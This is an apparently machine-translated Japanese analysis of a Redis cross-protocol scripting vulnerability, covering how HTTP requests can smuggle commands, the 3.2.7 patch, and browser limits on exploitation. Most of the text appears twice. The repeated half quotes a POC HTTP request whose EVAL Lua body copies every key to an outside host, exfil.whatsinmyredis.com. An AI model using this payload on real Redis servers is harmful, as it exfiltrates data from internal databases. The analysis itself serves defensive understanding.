Redisの最近のCross Protocol Scripting脆弱性の評価
数日前、Redisは3.2.7バージョンを発表し、Cross Protocol Scriptingの脆弱性を修復した.
脆弱性の説明
この脆弱性の詳細については、以下を参照してください.https://github.com/dxa4481/wh...
Redisはコマンドを解析するとき,各行のテキストを入力とする.入力が特定のコマンドに一致しない場合は、入力を破棄します.
これは、HTTPプロトコルでRedisを要求すると、Redisは認識していない様々なヘッダをスキップし、要求体のコマンドを実行することを意味する.たとえば,次のHTTPリクエストでは,最後のEVALのみが正当な命令として解析され実行される.
最初は問題ないようだが、攻撃者はRedisに直接頼むことができるので、HTTPプロトコルで攻撃行為を隠す必要はない.
しかし、抜け穴の発掘者はもっと深く考えている.彼のPOCでは、AJAXを利用して6379ポートを要求するHTMLページが構築されています.一般的にRedisはパブリックネットワークに露出しないが,開発者の機器と同じイントラネットに存在する可能性がある.開発者のブラウザがAJAXリクエストを開始したと仮定すると,外部ネットワークの制限を迂回して内部ネットワークのRedisに直接アクセスできる.Redisがlocalhostに存在しない場合でも、スキャン(またはコミュニティによって特定のサーバアドレスが検出される)によって、イントラネット内のRedisインスタンスが検出される可能性があります.
脆弱性の修復
Redisの修復を参照:https://github.com/antirez/re...
このパッチはhostも有効なコマンドとして解析する.ホストコマンドを解析すると、Redisは接続を中断し、攻撃者の要求が遮断されます.
後続分析
この脆弱性は2つの点に依存します.は、ブラウザから特定のHTTP要求 を開始することができる.は、開発者の機器からRedisサーバ にアクセスすることができる.
以下の議論は,開発者が使用するブラウザが安全であることを前提としている.
まず、Redisパッチの動作原理を分析します.
HTTP/1.1仕様として、リクエストヘッダにはHostヘッダがあるはずです.ない場合、サーバは400エラーコードを返します.これは,ブラウザ自身が送信したAJAXリクエストに必ずHostヘッダが付くことを意味する.
要するに、ホストヘッダを持たないAJAXリクエストを送信する方法はありません.ホストがブラックアウトされる限り、すべてのAJAXリクエストもブラックアウトされることを意味します.
パッチが適用されていないバージョンでは、この脆弱性はどのくらい影響しますか?
脆弱性依存の第2点(開発者の機器からRedisサーバにアクセス可能)は,一般的には満足し難い.結局、多くの場合、オフィスネットワークと機械室ネットワークは同じネットワークセグメントになく、互いに隔離されています.定点攻撃でなければ、ターゲットサーバにヒットするのは難しい.
脆弱性依存の第1点(ブラウザから特定のHTTPリクエストを開始できる)は、ブラウザによって大きく制限されています.AJAXを利用しようとする攻撃者には、ブラウザが多く見られます.同源戦略というものがもう一つあることを忘れないでください.ハッカーが特定のRedisサーバを要求しても、同じソースポリシーの影響を受けても、ブラウザは応答の結果を返しません.つまり、攻撃者はRedisにコマンドを送信することができますが、攻撃が成功したかどうかは分かりません.攻撃の効果を評価することはできません.通常、脆弱性の価値が大幅に低下します.
もちろん,同源戦略と組み合わせて迂回できれば,確かに具体的な応答が得られる.しかし、これで利用空間はさらに狭くなります.
とはいえ、私は100%切符を包む勇気がなく、この抜け穴は意味がないと主張しています.古い言葉がある.
Attacks always get better... and we did not spent enough time in order to think how to exploit this issue,but security researchers or malicious attackers could.
明所にいる防御者は、できるだけ慎重にしたほうがいい.
現在、ブラウザの発展には、できることがますます多くなる傾向があります.あと少しで、HTTPリクエストに加えて、ブラウザはより下位レベルのTCP/UDPリクエストを開始することができます.セキュリティの面では、ブラウザベースの攻撃面が広がることを意味します.標準を制定し、ブラウザを開発する人はできるだけ慎重にしてほしい.
脆弱性の説明
この脆弱性の詳細については、以下を参照してください.https://github.com/dxa4481/wh...
Redisはコマンドを解析するとき,各行のテキストを入力とする.入力が特定のコマンドに一致しない場合は、入力を破棄します.
これは、HTTPプロトコルでRedisを要求すると、Redisは認識していない様々なヘッダをスキップし、要求体のコマンドを実行することを意味する.たとえば,次のHTTPリクエストでは,最後のEVALのみが正当な命令として解析され実行される.
POST / HTTP/1.1
Host: 127.0.0.1:6379
User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:49.0) Gecko/20100101 Firefox/49.0
Accept: */*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
Referer: http://whatsinmyredis.com/
Content-Length: 339
Origin: http://whatsinmyredis.com
Connection: keep-alive
EVAL 'local token = "SiKKVzH$EZ"; local count = 0; for k, v in pairs(redis.call("KEYS", "*")) do count = count + 1; if v ~= "WIMREncryptionKey" and count < 100 then redis.call("SET", token, v .. ":" .. redis.call("GET", v)); redis.pcall("MIGRATE", "exfil.whatsinmyredis.com", "11111", token,0,200); end; end; redis.call("DEL", token)' 0-ERR unknown command 'POST'
...最初は問題ないようだが、攻撃者はRedisに直接頼むことができるので、HTTPプロトコルで攻撃行為を隠す必要はない.
しかし、抜け穴の発掘者はもっと深く考えている.彼のPOCでは、AJAXを利用して6379ポートを要求するHTMLページが構築されています.一般的にRedisはパブリックネットワークに露出しないが,開発者の機器と同じイントラネットに存在する可能性がある.開発者のブラウザがAJAXリクエストを開始したと仮定すると,外部ネットワークの制限を迂回して内部ネットワークのRedisに直接アクセスできる.Redisがlocalhostに存在しない場合でも、スキャン(またはコミュニティによって特定のサーバアドレスが検出される)によって、イントラネット内のRedisインスタンスが検出される可能性があります.
脆弱性の修復
Redisの修復を参照:https://github.com/antirez/re...
このパッチはhostも有効なコマンドとして解析する.ホストコマンドを解析すると、Redisは接続を中断し、攻撃者の要求が遮断されます.
後続分析
この脆弱性は2つの点に依存します.
以下の議論は,開発者が使用するブラウザが安全であることを前提としている.
まず、Redisパッチの動作原理を分析します.
HTTP/1.1仕様として、リクエストヘッダにはHostヘッダがあるはずです.ない場合、サーバは400エラーコードを返します.これは,ブラウザ自身が送信したAJAXリクエストに必ずHostヘッダが付くことを意味する.
setRequestHeaderでリクエストヘッダをカスタマイズしてみてはいかがでしょうか.ブラウザもそれを思いついた.setRequestHeaderを使用すると、ブラウザはまずOPTIONS要求を送信し、Access-Control-Request-Headersヘッダを添付し、ターゲットサーバが切断されるまで待機します.カスタマイズされたAJAXリクエストは、サーバのライセンス後にのみ送信されます.私たちのこのシーンでは、茫然として無知なRedisは自然に何も返事をしません.要するに、ホストヘッダを持たないAJAXリクエストを送信する方法はありません.ホストがブラックアウトされる限り、すべてのAJAXリクエストもブラックアウトされることを意味します.
パッチが適用されていないバージョンでは、この脆弱性はどのくらい影響しますか?
脆弱性依存の第2点(開発者の機器からRedisサーバにアクセス可能)は,一般的には満足し難い.結局、多くの場合、オフィスネットワークと機械室ネットワークは同じネットワークセグメントになく、互いに隔離されています.定点攻撃でなければ、ターゲットサーバにヒットするのは難しい.
脆弱性依存の第1点(ブラウザから特定のHTTPリクエストを開始できる)は、ブラウザによって大きく制限されています.AJAXを利用しようとする攻撃者には、ブラウザが多く見られます.同源戦略というものがもう一つあることを忘れないでください.ハッカーが特定のRedisサーバを要求しても、同じソースポリシーの影響を受けても、ブラウザは応答の結果を返しません.つまり、攻撃者はRedisにコマンドを送信することができますが、攻撃が成功したかどうかは分かりません.攻撃の効果を評価することはできません.通常、脆弱性の価値が大幅に低下します.
もちろん,同源戦略と組み合わせて迂回できれば,確かに具体的な応答が得られる.しかし、これで利用空間はさらに狭くなります.
とはいえ、私は100%切符を包む勇気がなく、この抜け穴は意味がないと主張しています.古い言葉がある.
Attacks always get better... and we did not spent enough time in order to think how to exploit this issue,but security researchers or malicious attackers could.
明所にいる防御者は、できるだけ慎重にしたほうがいい.
現在、ブラウザの発展には、できることがますます多くなる傾向があります.あと少しで、HTTPリクエストに加えて、ブラウザはより下位レベルのTCP/UDPリクエストを開始することができます.セキュリティの面では、ブラウザベースの攻撃面が広がることを意味します.標準を制定し、ブラウザを開発する人はできるだけ慎重にしてほしい.